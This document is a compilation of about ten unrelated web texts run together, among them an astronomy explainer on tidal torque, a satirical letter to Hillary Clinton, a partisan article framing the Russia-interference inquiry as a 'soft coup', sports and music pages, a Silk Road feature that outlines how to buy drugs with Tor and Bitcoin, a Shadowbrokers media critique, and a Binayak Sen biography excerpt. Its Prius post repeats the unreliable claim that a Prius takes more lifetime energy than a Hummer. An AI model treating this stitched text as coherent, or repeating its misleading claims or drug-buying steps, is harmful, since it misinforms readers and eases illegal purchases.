But gas clouds -- like all objects in the Universe -- don't exist in isolation. They exist in the presence of all the other matter-and-energy in the Universe, all of which is subject to the laws of gravitation. And whenever any two masses in the Universe are in relative motion to one another, so long as they're not moving exactly and directly towards-or-away-from one another, the gravitational force they exert on each other causes a torque.
Illustration credit: Bill Saxton, NRAO / AUI / NSF.
This phenomenon is known as a tidal torque, and was first theoretically understood by Jim Peebles -- my Ph.D. advisor's Ph.D. advisor (or my grand-advisor) -- back in 1976. (So, you asked the right person!) It's why pretty much every mass that exists in this Universe, whether it was born with non-zero angular momentum or not, has one now, 13.8 billion years onward. That includes every gas cloud, including the one that gave rise to our Solar System. We can break these large gas clouds up further, into the regions that give rise to the individual stars and star systems that came into existence.
Each one of these regions that eventually result in a star/star system, with whatever angular momentum they have inside, are typically distributed in shapes known as triaxial ellipsoids. A triaxial ellipsoid is a fancy way to say that they're like spheres, except inevitably if you draw three perpendicular axes on them (X, Y, and Z, for example), one of the axes will inevitably be the shortest of the three. When a region gravitationally collapses, it's going to collapse along the shortest axis the fastest, and because normal matter -- the stuff all stars and planets is made out of -- interacts (i.e., collides) with itself, that means it's going to go "splat," like a pancake. (In fact, the scientific word for this process is known as pancaking.)
Image credit: NASA / JPL-Caltech.
But along the other two axes, you'll have a disk-like distribution, which is going to have an overall, net rotation in the direction of whatever its angular momentum is! It's the reason why -- in our Solar System -- all the planets revolve around the Sun in the same direction (counterclockwise, looking downwards from north of the Sun's north pole), the Sun rotates in that same direction, almost all the moons revolve around their planet in that same direction (with notable exceptions explained here), and finally, why practically all the planets rotate about their axes in that same direction, too.
Image credit: Calvin Hamilton, and click for a huge version!
There are only two major exceptions to the rule: Venus, which hardly rotates at all (but does so in the opposite direction), and Uranus, which rotates practically on its side. Both of these worlds are thought to have had their angular momentum significantly changed by the intervention of an outside body, most likely a significant collision a long time ago. That is to say, their rotation was changed by the influence of an external torque!
So that's the story of why planets, moons, stars and star systems revolve and rotate the way they do! Thanks for a good question, Brian, and to anyone else who has a question or suggestion for me, drop me a line! |
John MacIntosh was a partner at a leading global private equity firm, where he worked from 1994 to 2006 in New York, Tokyo and London. He now runs a nonprofit in New York. The opinions expressed in this commentary are his.
I had the pleasure of meeting your husband back in 2002 at the annual reception of a leading private equity firm. (I was the 30-something finance guy in the blue suit, medium height, medium build, brown hair, Ivy League grad. Maybe he mentioned me?)
I still recall how he shook my hand, chatted insightfully with our small group for a few minutes and then wowed us by recognizing the obscure arrangement the jazz quartet was playing (although I always suspected the musicians had been asked to play it for just that purpose). As I'm sure he told you, it was truly a remarkable evening.
Anyway, it's ridiculous that the speeches-on-Wall-Street thing is becoming an issue for you in the primary so let me take the liberty of offering you some free campaign advice.
Folks just don't seem to understand that money-for-speeches -- while perhaps crass at times -- is just good clean fun with no connection at all to the important issues of money in politics and the power of Wall Street. In fact, I think the whole thing would go from being a negative to a positive for your campaign if you made a few simple points:
It's just show business. Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- cashes in one way or another because they have time on their hands yet still appeal to the well-heeled baby boomers who attend conferences, throw expensive parties and shell out for Vegas shows. The Wall Street firms who signed you up weren't thinking about how they could increase their power and influence -- they have K Street and "senior adviser" sinecures for that -- they just thought you'd provide some good old-fashioned entertainment. (To tell you the truth, I would have preferred Keith Richards to your husband at that meeting in 2002, but I was not involved in the event planning, and he probably would have been too expensive anyway.)
Since you got paid for a service, there is no hint of corruption. Although the Supreme Court got it exactly Although the Supreme Court got it exactly backward in its Citizens United decision, the danger from corruption is greatest when there is no explicit quid pro quo. If you'd been paid for doing nothing, people could rightly suspect you'd feel some loyalty or future obligation to your paymasters. But you were paid to provide specific services as laid out in some very explicit contracts and you did it. Case closed.
Your earnings reflect admirable commercial instincts. Americans appreciate a candidate with business acumen. Your speech-related earnings reflect your appreciation for the market and your belief in capitalism. Not to have taken millions in low-hanging speaking fees from easy marks would have been positively un-American. Even socialists should appreciate the extra joy -- remember "Ocean's Eleven" -- that you got taking money from people whom you may not particularly like. Appearances to the contrary notwithstanding, you weren't fraternizing with the enemy -- you were picking his pocket!
You were just leaning in. While Bill was out making millions giving his speeches, were you supposed to stay back in Chappaqua knitting booties by the fire? What type of message would that send to hardworking women? And tell people that after your two terms as president, you plan to return to the speech circuit and command the same level of inflation-adjusted fees that male presidents have earned before you.
It was a lot of fun. This is an opportunity to show that you know how to have a good time. Admit that while it was sometimes a grind to speak with (generally) boring people -- from investment bankers to clinical pathologists -- it was also exhilarating to find ways to seem fresh and new week after week. (How does one inspire dentists one day and realtors the next?) Recount a humorous anecdote or two about parrying awkward marital questions from a bond trader who'd overindulged at the open bar.
You brought joy to others. Remind people that your audience was mostly those nameless professionals who huddle forgotten in the bottom 90% of the top 1%. The little people on the outside who, noses pressed to the glass, would otherwise never have had the chance to feel like insiders by shaking your hand and exchanging a few bon mots. Not rich enough to be courted as donors, not numerous enough to matter as voters, not powerful enough to be sought after for their influence, they are truly the unremarked forgotten of our political system. You should be proud to have a brought an hour or two of joy into their lives.
Don't go negative. Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders has saved in his entire life, and he probably could not compete on the lecture circuit if he tried. To some that makes him a loser and you a winner. But even in a silly political season when the candidate who throws the most insults appears to win, there is no need to overreact by following others into the gutter. This speech thing is a tempest in a teapot that will soon blow over (particularly if you release the text of your speeches to prove that there is no smoking gun).
Anyway, good luck in the election. You're going to be a great president. But if it doesn't work out, I hope you'll get back out on the circuit so maybe we'll have the chance to meet. A friend of mine saw you a few years ago and said you put on a great show. He still talks about it all the time.
Best regards,
John |
Update: The push to delegitimize the election results continued after a trio of top Senate Democrats called for a nonpartisan commission to investigate allegations that Russia interfered in the 2016 presidential election. Sens. Ben Cardin (Md.), Dianne Feinstein (Calif.) and Patrick Leahy (Vt.), the top Democrats on the Foreign Relations, Intelligence and Judiciary committees, back the creation an independent commission with 18 months to report its findings The Hill reports.
"The American people deserve a nonpartisan, transparent, public investigation into this insidious attack on our democratic institutions,” Cardin said. “As a nation it’s time to get to the bottom of it and learn what we can do to prevent it from ever happening again.”
The commission would be tasked with investigating allegations of Russian cyber attacks, trying to identify those responsible and recommending responses and future measures to prevent interference in U.S. elections.
Feinstein added that the commission would determine if Russian hacks tried to undercut Hillary Clinton, the Democrat presidential nominee, or "undermine our democratic system."
"This bipartisan commission will help identify the specific ‘actors’ responsible and recommend a possible course of action to prevent this from ever happening again," she said.
The panel, according to the Democratic senators, would have access to both classified and unclassified information, as well as the ability to subpoena officials about Russian activities tied to the presidential race.
Leahy, the top Democrat on the Judiciary Committee, added on Monday lawmakers must "rise above the fray and engage in a serious, independent, and bipartisan investigation."
"This is larger than any one candidate or any one election," he said. "This is about protecting our democracy now, and going forward.”
Of course, none of these calls would have been made had Trump lost the election, and in fact he would have been crucified by the press for daring to question the outcome of the vote.
* * *
Earlier:
And there it is.
Just as we first laid out on Saturday following Friday night's shock "report" that the CIA had concluded Russia had intervened in the presidential election on behalf of Trump, which we quickly assessed had all the marks of a "soft coup" attempt, and which culminated most recently with a report that up to 10 electors had requested a briefing on "Russian Interference" before the presidential vote, moments ago none other than the Clinton campaign, by way of its top political adviser John Podesta, said the campaign is supporting an effort by members of the Electoral College to request an intelligence briefing on foreign intervention in the presidential election, Politico reported.
In his statement released on Monday, Podesta said “The bipartisan electors' letter raises very grave issues involving our national security,” and added that “electors have a solemn responsibility under the Constitution and we support their efforts to have their questions addressed.”
“Each day that month, our campaign decried the interference of Russia in our campaign and its evident goal of hurting our campaign to aid Donald Trump. Despite our protestations, this matter did not receive the attention it deserved by the media in the campaign. We now know that the CIA has determined Russia's interference in our elections was for the purpose of electing Donald Trump. This should distress every American.”
Podesta's statement is the first public statement from the Clinton campaign raising questions about the legitimacy of Donald Trump's victory.
It follows the previously reported open letter from 10 presidential electors, including Democratic Leader Nancy Pelosi’s daughter Christine, requesting an intelligence briefing ahead of the Dec. 19 vote of the Electoral College.
Why this push is curious, is because during today's briefing Press Secretary Josh Earnest explicitly stated that "US intel agencies didn't detect any malicious cyberactivity "that interfered w the casting and counting of ballots" on Nov. 8", a narrative at odds with that concocted by the WaPo, in its interpretation of what the CIA allegedly concluded in its "secret" assessment, which thenbegs the question: who is lying?
Shortly after Podesta's statement, the Democratic National Committee disseminated a Politico story that revealed the electors' call for a briefing. Two Democratic members of Congress have also suggested the Electoral College should take an active role in reassessing, or stopping, a Trump presidency.
It was unclear which particular agency would provide the briefing, if it was permitted, especially in light of reports that there has been a shcism between the CIA and FBI in their interpretation of whether Russia had indeed intervened directly to push for a Trump election.
While so far no proof has been provided by the CIA substantiating its claim, we doubt one will be forthcoming. After all as the WaPo itself reported some time ago, citing an official, "the intelligence community is not saying it has ‘definitive proof’ of such tampering, or any Russian plans to do so." In other words, there is merely "extrapolation" based on a personal biases to reach a desired, goalseeked outcome, without any factual validation whatsoever.
However, it is likely that should the Clinton Campaign's request for a "breifing" be granted, that it would lead to a dramatic split among the already polarized US nation. As to whether the Electoral College would ultimately vote against Trump, we leave it up to readers to consider the possible, and very damaging for the US, consequences. |
Robert Lewandowski scored his 12th Bundesliga goal of the season for Bayern
Bayern Munich will head into the winter break three points clear at the top of the Bundesliga following an emphatic win over second-placed RB Leipzig.
Goals from Thiago and Xabi Alonso put the home side firmly in control before Leipzig's Emil Fosberg saw red for a nasty foul on Philipp Lahm.
Robert Lewandowski made it 3-0 from the penalty spot after Leipzig goalkeeper Peter Gulasci had fouled Douglas Costa.
Lewandowski was denied twice as Leipzig kept Bayern at bay after the break.
It is just a second league loss of the season for Leipzig, who are in their debut Bundesliga campaign.
Formed in 2009 when drinks manufacturer Red Bull bought the licence of amateur club SSV Markranstadt and changed their name, Leipzig have achieved four promotions in seven years to reach the German top flight.
Under coach Ralph Hasenhuttl, they won 11 of their first 15 matches, including a victory over last season's runners-up Borussia Dortmund.
Emil Forsberg has been superb for Leipzig this season, scoring five goals and providing eight assists
However, they were emphatically put in their place by the reigning champions, who were fortunate not to fall behind early on when Yussuf Poulsen failed to connect with Timo Werner's low cross, but after that were irresistible.
Thiago had a simple job in finding an empty net from close range after Lewandowski's shot had struck the post.
Costa struck the upright from an angled strike but the home side would not be denied a second goal for long as Alonso drove home from inside the box after collecting a pass from the scorer of the first.
It was 3-0 and game over before the break as Costa was tripped in the box by Gulasci after running clear of the defence to collect Mats Hummels ball over the top.
Lewandowski converted from the spot and could have had a hat-trick but with just the keeper to beat on two separate occasions in the second half the Polish striker came off second best.
Gulasci was beaten again late in the game but substitute Franck Ribery's fierce strike from inside the box struck the crossbar and bounced on the goal-line before being cleared. |
Making small talk with your pot dealer sucks. Buying cocaine can get you shot. What if you could buy and sell drugs online like books or light bulbs? Now you can: Welcome to Silk Road.
About three weeks ago, the U.S. Postal Service delivered an ordinary envelope to Mark's door. Inside was a tiny plastic bag containing 10 tabs of LSD. "If you had opened it, unless you were looking for it, you wouldn't have even noticed," Mark told us in a phone interview.
Mark, a software developer, had ordered the 100 micrograms of acid through a listing on the online marketplace Silk Road. He found a seller with lots of good feedback who seemed to know what they were talking about, added the acid to his digital shopping cart and hit "check out." He entered his address and paid the seller 50 Bitcoins – untraceable digital currency – worth around $150. Four days later, the drugs (sent from Canada) arrived at his house.
"It kind of felt like I was in the future," Mark said.
Silk Road, a digital black market that sits just below most internet users' purview, does resemble something from a cyberpunk novel. Through a combination of anonymity technology and a sophisticated user-feedback system, Silk Road makes buying and selling illegal drugs as easy as buying used electronics – and seemingly as safe. It's Amazon – if Amazon sold mind-altering chemicals.
Here is just a small selection of the 340 items available for purchase on Silk Road by anyone, right now: a gram of Afghani hash; 1/8 ounce of "sour 13" weed; 14 grams of ecstasy; .1 gram tar heroin. A listing for "Avatar" LSD includes a picture of blotter paper with big blue faces from the James Cameron movie on it.
The sellers are located all over the world, a large portion from the United States and Canada.
But even Silk Road has limits: You won't find any weapons-grade plutonium, for example. Its terms of service ban the sale of "anything who's purpose is to harm or defraud, such as stolen credit cards, assassinations, and weapons of mass destruction."
'It's Amazon – if Amazon sold mind-altering chemicals.'
Getting to Silk Road is tricky. The URL seems made to be forgotten. But don't point your browser there yet. It's only accessible through the anonymizing network, TOR, which requires a bit of technical skill to configure.
Once you're there, it's hard to believe that Silk Road isn't simply a scam. Such brazenness is usually displayed only by those fake "online pharmacies" that dupe the dumb and flaccid. There's no sly, Craigslist-style code names here. But while scammers do use the site, most of the listings are legit. Mark's acid worked as advertised. "It was quite enjoyable, to be honest," he said. We spoke to one Connecticut engineer who enjoyed sampling some "silver haze" pot purchased off Silk Road. "It was legit," he said. "It was better than anything I've seen."
Silk Road cuts down on scams with a reputation-based trading system familiar to anyone who's used Amazon or eBay. The user Bloomingcolor appears to be an especially trusted vendor, specializing in psychedelics. One happy customer wrote on his profile: "Excellent quality. Packing, and communication. Arrived exactly as described." They gave the transaction five points out of five.
"Our community is amazing," Silk Road's anonymous administrator, known on forums as "Silk Road," told us in an e-mail. "They are generally bright, honest and fair people, very understanding, and willing to cooperate with each other."
Sellers feel comfortable openly selling hard-core drugs because the real identities of those involved in Silk Road transactions are utterly obscured. If the authorities wanted to ID Silk Road's users with computer forensics, they'd have nowhere to look. TOR masks a user's tracks on the site. As for transactions, Silk Road doesn't accept credit cards, PayPal or any other form of payment that can be traced or blocked. The only money good here is Bitcoins.
Bitcoins have been called a "crypto-currency," the online equivalent of a brown paper bag of cash. Bitcoins are a peer-to-peer currency, not issued by banks or governments, but created and regulated by a network of other bitcoin holders' computers. (The name "Bitcoin" is derived from the pioneering file-sharing technology Bittorrent.) They are purportedly untraceable and have been championed by cyberpunks, libertarians and anarchists who dream of a distributed digital economy outside the law, one where money flows across borders as free as bits.
To purchase something on Silk Road, you need first to buy some Bitcoins using a service like Mt. Gox Bitcoin Exchange. Then, create an account on Silk Road, deposit some bitcoins, and start buying drugs. One bitcoin is worth about $8.67, though the exchange rate fluctuates wildly every day. Right now you can buy an 1/8 ounce of pot on Silk Road for 7.63 Bitcoins. That's probably more than you would pay on the street, but most Silk Road users seem happy to pay a premium for convenience.
'It kind of felt like I was in the future.'
Since it launched this February, Silk Road has represented the most complete implementation of the Bitcoin vision. Many of its users come from Bitcoin's Utopian geek community and see Silk Road as more than just a place to buy drugs. Silk Road's administrator cites the anarcho-libertarian philosophy of Agorism. "The state is the primary source of violence, oppression, theft and all forms of coercion," Silk Road wrote to us. "Stop funding the state with your tax dollars and direct your productive energies into the black market."
Mark, the LSD buyer, had similar views. "I'm a libertarian anarchist and I believe that anything that's not violent should not be criminalized," he said.
But not all Bitcoin enthusiasts embrace Silk Road. Some think the association with drugs will tarnish the young technology, or might draw the attention of federal authorities. "The real story with Silk Road is the quantity of people anxious to escape a centralized currency and trade," a longtime bitcoin user named Maiya told us in a chat. "Some of us view Bitcoin as a real currency, not drug barter tokens."
Silk Road and Bitcoins could herald a black market eCommerce revolution. But anonymity cuts both ways. How long until a DEA agent sets up a fake Silk Road account and starts sending SWAT teams instead of LSD to the addresses she gets? As Silk Road inevitably spills out of the bitcoin bubble, its drug-swapping utopians will meet a harsh reality no anonymizing network can blur. |
The April 8th release of an NSA hacking toolkit by the group known as the Shadowbrokers shook technology circles when it was revealed that serious exploits targeting Microsoft may have been used to attack global banking systems.
In the aftermath of the revelations, BBC News was called out by Wikileaks editor Julian Assange for misrepresenting the degree to which Microsoft has already addressed such serious vulnerabilities.
The Shadowbrokers hacking tools are a significant, serious event. CNN has stated that the leaks put “a powerful nation state-level attack tool in the hands of anyone who wants to download it to start targeting servers.” Fortune reported that the Shadowbrokers release had severe security implications, and that there appeared to be at least several dozen exploits, including zero-day vulnerabilities in the release. Some of the exploits offer a potential “God Mode” on select Windows systems which would give an intruder total control.
Microsoft released a security update in response to the news, which stated that it had already patched “most” of the vulnerabilities. When discussing “nation state-level attack tools,” this is a critical distinction. Microsoft’s statement made it clear that it was not claiming to have wholly resolved the issue or to have made itself completely invulnerable.
BBC News ran an article on the leaks titled: “Microsoft patched ‘NSA hack’ Windows flaws before leak” which deliberately misquoted Microsoft’s security update in order to imply that the company had entirely resolved the issue.
The BBC referred to the exploits as “addressed,” and “already fixed,” specifically misstating the reality of Microsoft’s remaining vulnerabilities which the company itself admitted were only “mostly” addressed.
The state-run media company was immediately called out by Wikileaks founder and editor Julian Assange on Twitter, who said the publication was full of “breathless dolts.”
The episode is the latest in a long history of scandals to hit the BBC over time, including false reports concerning Ethiopian arms purchases, faking footage of child laborers in Bangladesh and actively working to cover up the Jimmy Saville abuse scandal.
Disobedient Media has previously reported on a similar instance of misrepresentation during Wikileaks’ Vault 7 release where Buzzfeed exaggerated statements made by Apple to imply that they had fixed the newly revealed security exploits when this was not the case.
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For all the Deadheads out there…
I made a Grateful Dead version of the tour map that I made for Phish.
I extracted the date and location of every Grateful Dead show from 1965 to 1995. For the purpose of mapping, I removed shows outside of North America (and Jamaica), but have kept all USA and Canada concerts in the database.
The data are mapped to show both the number of concerts per state/province, and the tour path. Six states had over 50 shows: California (884), New York (310), Pennsylvania (101), Massachusetts (85), Illinois (80), and New Jersey (54). The total number of shows in the database is 2,286. The light blue dots identify every city where a concert was played. The light blue path connects the concert locations chronologically, moving from the first show to the last. So if you followed the band and attended every show, this is the route you took.
Data sources: http://www.setlists.net/ |
WWE: "Tokiwakita (Time Has Come)" ► Hideo Itami 1st Theme Song
by
3:21 - 1,011,957 views
Title: "Tokiwakita (Time Has Come)"
Composer: CFO$
Duration: 3:20
Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - Single
Genres: Soundtrack, Music
Released: Sep 16, 2014
℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)
Download Link: (m4a)
https://www.sendspace.com/file/bu5h08
Available Exclusively on iTunes:
http://bit.ly/1u5mm03
Theme Count:
1st: "Tokiwakita (Time Has Come)"
All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved. by Saint 3:21 - 1,011,957 viewsTitle: "Tokiwakita (Time Has Come)"Composer: CFO$Duration: 3:20Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - SingleGenres: Soundtrack, MusicReleased: Sep 16, 2014℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)Download Link: (m4a)https://www.sendspace.com/file/bu5h08Available Exclusively on iTunes:http://bit.ly/1u5mm03Theme Count:1st: "Tokiwakita (Time Has Come)"All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved. |
According to an article posted on The Recorder Online by Chris Demorro, the Toyota Prius, the most popular hybrid is not actually that efficient. Their ultimate ‘green car’ is the source of some of the worst pollution in North America; it takes more combined energy per Prius to produce than a Hummer.
In order to fully understand this argument, you need to know the overall architecture of the Prius powertrain. The car consists of two engines, a 1.5L gas engine and an electric motor. The electric motor is capable of propelling the car up to 25mph and from there the gas engine kicks in. Therefore the car saves fuel by turning the gas engine off when it is idling and driving in traffic. The battery for the electric motor is recharged through the braking system.
When the current Prius was released for the 04′ model year, Toyota boasted about the car’s estimated 60 mpg in the city and 51mpg on the highway. Consumers ate this information up and flocked to Toyota dealers in droves. Soon after its release consumers began to complain about the fact that their cars were not achieving the claimed mpg. This was due to the out of date EPA tests that the government uses to estimate a car’s mpg. (The new tests will be applied to 2008 models) In most real world applications the Prius only manages to achieve 45 mpg, which is not much higher than most subcompact economy cars (Aveo, Yaris, Scion).
That is the first main issue with the current Prius. Second is the issue with the actual production of the batteries for the hybrid cars. It is only slowly being revealed that the nickel batteries that hybrids use are not environmentally friendly. The nickel for the Prius is produced in Sudbury, Ontario. According to Demorro, " This plant has caused so much environmental damage to the surrounding environment that NASA has used the ‘dead zone’ around the plant to test moon rovers. The area around the plant is devoid of any life for miles." Toyota produces 1,000 tons annually. The production of the batteries does not end in Canada, the nickel is then sent off to a refinery in Europe and then off to China and finally it ends up in finished form in Japan. This in turn uses more energy to create the batteries since it involves many factories all over the world.
When you factor in all the energy it takes to drive and build a Prius it takes almost 50% more energy than a Hummer. In a study by CNW Marketing called "Dust to Dust", researchers discovered that the Prius costs and average of $3.25 per mile driven over a lifetime of 100,000 miles (the expected lifespan of a hybrid). On the other hand the Hummer costs $1.95 per mile over an expected 300,000 miles. Which means that the Hummer will last three times as long and use less energy than the Prius. ( I am not sure about the claim that the Hummer will last three times longer…)
This also doesn’t take into account the problem with disposing of the used batteries. Most of the hybrids have not been on the market long enough to be disposed of yet, but when it does happen there are going to be more environmental implications.
Basically to sum this up, the Prius and all hybrids for that matter are not exactly what the public perceives them to be. Hybrids for the most part do not have huge gains in gas mileage over their gas powered counterparts. There is also a premium to buy a hybrid and there is a large chance that the premium will not be offset by the time you get rid of the car. According to Demorro, "It takes five years to offset the premium price of a Prius. Meaning, you have to wait 60 months to save any money over a non-hybrid car because of lower gas expenses." Then there are the issues with the batteries and their effect on the environment.
Basically if you want to save gas and pollute less you should buy a subcompact with a PZEV rated engine. It will save you more money in the long run and the earth will thank you.
This may all change in the coming years as technology gets better and the price of hybrids drop.
Full Article:
The Recorder Online by Chris Demorro |
Binayak Sen (Hindi: बिनायक सेन, Bengali: বিনায়ক সেন) is an Indian paediatrician, public health specialist[2] and activist. He is the national Vice-President of the People's Union for Civil Liberties (PUCL).[3] He is the recipient of several awards including the Jonathan Mann Award, the Gwangju Prize for Human Rights, and the Gandhi International Peace Award. He has been convicted for sedition by a local Court in India which was later upheld by the High Court of Chhattisgarh. He was subsequently granted bail by the Supreme Court of India on appeal. He is a member of the policy group for Police Reforms of Aam Aadmi Party.[4]
Binayak Sen originally started working as a paediatrician extending health care to poor people in the rural-tribal areas of the Chhattisgarh state, doubling up as a human rights activist. While Sen has worked with the state government on health sector reform[5] he has also strongly criticised the government on human rights violations during the anti-Naxalite operations, while advocating non-violent political engagement.[6]
In May 2007, he was detained for allegedly supporting the outlawed Naxalites which would violate the provisions of the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967.[7][8] Sen first applied for bail before the Raipur Sessions Court and then the Chhattisgarh High Court in July 2007, soon after his arrest,[9] but was granted bail by the Supreme Court of India on 25 May 2009.[10]
In 2010 was convicted and sentenced to life imprisonment by Raipur Sessions Court, Chhattisgarh for sedition and helping Naxalites to set up a network to fight the State.[11] He was granted bail on 15 April 2011 by the Supreme Court of India which gave no reason for the order.[12] Sen has filed an appeal before the Chhattisgarh High Court and the case is pending.[13]
Career as a doctor [ edit ]
Binayak Sen and his wife Illina Sen played key roles in the foundation of the Chhattisgarh Mukti Morcha's Shaheed Hospital which is owned and operated by a workers' organisation.[14][15] He is also an advisor to Jan Swasthya Sahyog, a health care organisation.[16] He has also been published in the prestigious British medical journal The Lancet (in its edition of 12 February 2011) where he talks about the severe inaccessibility of the healthcare to the poor in India. The article was hailed as reaffirmation of support to Dr Sen by the international community by Ilina Sen.[14][17]
PUCL activist [ edit ]
Sen is the National Vice-President of the People's Union for Civil Liberties (PUCL) and General Secretary of its Chhattisgarh unit. In this capacity, he helped organise numerous investigations into alleged human rights violations carried out during anti-Naxalite operations. The alleged violations included the murder of unarmed and innocent civilians by the anti-Naxalite movement Salwa Judum.
In a 2008 interview, Sen stated that he does not condone the Naxalites, does not approve of their violent methods, and has spoken strongly against them several times. But, he also expressed his opposition to the violent activities carried out by Salwa Judum, which he believes, have created a split in the tribal community.[6] Sen advocates peaceful methods such as negotiations to solve the Naxalite problem.[18]
Awards and honours [ edit ]
Sen was the recipient in 2004 of the Paul Harrison award for a lifetime of service to the rural poor. This award is given annually by the Christian Medical College in Vellore, India to its alumni.[19]
Sen was awarded the R.R. Keithan Gold Medal by The Indian Academy of Social Sciences (ISSA) on 31 December 2007. The citation describes him as "one of the most eminent scientists" of India. "The award is for his outstanding contribution to the advancement of science of Nature-Man-Society and his honest and sincere application for the improvement of quality of life of the poor, the downtrodden and the oppressed people of Chhattisgarh." His "suffering and personal risk" would inspire scientists as well as the general public for a very long time, according to the citation.[20]
Sen was selected for the Jonathan Mann Award for Global Health and Human Rights in 2008.[21][22] The Global Health Council issued a public statement, "Dr. Sen's accomplishments speak volumes about what can be achieved in very poor areas when health practitioners are also committed community leaders. He staffed a hospital created by and funded by impoverished mine workers, and he has spent his lifetime educating people about health practices and civil liberties—providing information that has saved lives and improved conditions for thousands of people. His good works need to be recognized as a major contribution to India and to global health; they are certainly not a threat to state security."[23]
Sen has been awarded the Gwangju Prize for Human Rights 2011[24] in memory of the Gwangju Democratization Movement of South Korea. The award announcement remarks "Dr Sen, as an accomplished medical practitioner has distinguished himself by his devotion to providing health services for the poor and by his strong advocacy against human rights violations and structural violence inflicted on the poor in Chhattisgarh, a state in central India."
Arrest in 2007 [ edit ]
On 14 May 2007, Sen was arrested in Bilaspur on the charges of acting as a courier between jailed Naxalite leader Narayan Sanyal (politician) and businessman Piyush Guha, also accused of having links with Naxalites.[25] Sen had met the 70-year-old Sanyal 33 times in Raipur jail, though all the visits were with prior police permission.[26] The Chhattisgarh police also reportedly relied on certain electronic documents to establish a link between Sen and Naxalites.[27]
The evidence presented against Sen included:[28]
A post card dated 3 June 2006, written by Narayan Sanyal to Binayak Sen from Raipur Central Jail, regarding his health and legal case, duly signed by the Jail authorities
A yellow coloured book "On The Unity Between CPI (Peoples' War) and Maoist Communist Centre".
A letter written by Madanlal Banjare of CPI (Maoist) to Binayak Sen.
An article titled "Krantikari Janwadi Morcha (ITF) (Revolutionary People's Front) Vaishvikaran evam Bharatiya Seva Kshetra; (Globalization and the Service Sector in India)
Two articles titled "Naxal Movement, Tribals and Women's Movement" and "How to build an Anti-US Imperialist Front."
The Central Forensic Science Laboratory (CFSL), Hyderabad analysed the contents of Sen's computer during 6–11 June 2007, under the orders of the Session's Court.
On 15 May 2007, Sen was presented before a local court where he was denied the bail and was remanded to judicial custody. On 18 May, he was produced in the Sessions Court, Raipur. The Court ordered a search of Sen's house at Katora Talab in Raipur in presence of independent witnesses and his wife, Ilina Sen. The search was conducted lawfully the next day.[25] His bail plea was again rejected on 25 May, as the Chhattisgarh Police claimed that he was a threat to the security of the State.[25]
Protests [ edit ]
Various delegations of physicians and human rights activists meet chief secretary and law secretary to appeal for Sen's release.[25] The people who were against the bail to Binayak Sen claimed that the protestors were not well versed with the workings of Binayak Sen or the Naxalite-Maoist insurgency.
On 7 June 2007, Sen's wife Ilina Sen wrote a letter to the National Human Rights Commission, stating that the couple's work "has always been in the public sphere and completely overboard [above board] for the last 20 years and more."[29] It protests "the malafide intent of the state of Chhattisgarh in first identifying its victims, and then seeking to build up concocted cases against them." The submission apprehends a campaign of "media vilification" against Ilina Sen.
Amnesty International, which saw the arrest as harassment of a human rights activist, declared his detention in breach of international law. It issued a call to the Government of Chhattisgarh to immediately release Sen, unless he could be charged with a cognisable offence.[30]
On 7 June 2007, the British House of Commons published an Early day motion entitled "Arrest of Dr. Binayak Sen" supported by several members of parliament across party lines, including Diane Abbott (Labour), Peter Bottomley (Conservative), John Hemming (Liberal Democrat), Dai Davies (Independent, Wales), Mike Weir (Scottish NP), among others.[31]
On 9 June 2007, the British Medical Journal published an article about Sen's arrest. It states that Ramesh Gopalakrishnan, of Amnesty International, offered the following comment to BMJ about the supposed charges: "These offences allow sweeping interpretations of criminal intent. Activists in India are arrested all the time on such charges, which give wide, arbitrary powers to police." The same BMJ article reports a protest, outside the Indian High Commission in London, whose organiser is quoted as saying, "Dr Sen is a champion of peace and fair play and an internationally respected medical doctor who has devoted his whole life to peaceful service of the poorest people. He should be released immediately."[32]
Noam Chomsky and several other prominent figures issued a press statement dated 16 June 2007 alleging that "Dr Sen's arrest is clearly an attempt to intimidate PUCL and other democratic voices that have been speaking out against human rights violations in the state."[33]
On 20 June 2007 a delegation from the PUCL met the Chief Minister (CM) of Chhattisgarh state, and objected to Sen being accused of supporting the Naxalites. The delegation insisted that Sen's visits to the jailed Naxalite Narayan Sanyal were for the latter's "medical treatment" and also regarding his legal case. They pointed out that these visits took place in the Raipur jail, following procedures laid down in the jail manual."[34] The PUCL delegation also raised objections about the analysis of Sen's computer in the absence of Sen's advocate and the independent court-appointed witness which they said could have offered the chance to tamper with evidence.[34] The court had ordered on 22 May 2007 that both these observers should be present during the examination of Sen's computer. Nobel laurate economist and thinker Amartya Sen also criticised the Dec 2010 verdict for Sen's imprisonment. He stated that instead of getting his due honour for his service, Sen had met with an unfortunate verdict.[35]
Rejection of Bail [ edit ]
High Court [ edit ]
In July 2007, Sen's bail was rejected by the Chhattisgarh High Court after Police claimed that they had got incriminating evidences against Binayk Sen from his hard disc belonging to him.[25]
Supreme Court [ edit ]
In August 2007, a bench of Justices Ashok Bhan and V. S. Sirpurkar at the Supreme Court of India sought a response from the Chhattisgarh government after senior counsel Soli Sorabjee claimed that Sen was illegally detained since 14 May on fabricated charges of supporting Naxalites.[36] The report stated that the Director General of Police in Chhattisgarh had conceded Sen's peaceful approach however the DGP rejected the suggestion that Sen had been arrested for criticising crimes such as extra-judicial killings in staged "fake encounters". The DGP has stated his belief that "Dalits movements, women empowerment movements, human rights movements, environment protection movements" are all suspect because Naxalites want to penetrate and hijack "movements not linked with CPI."
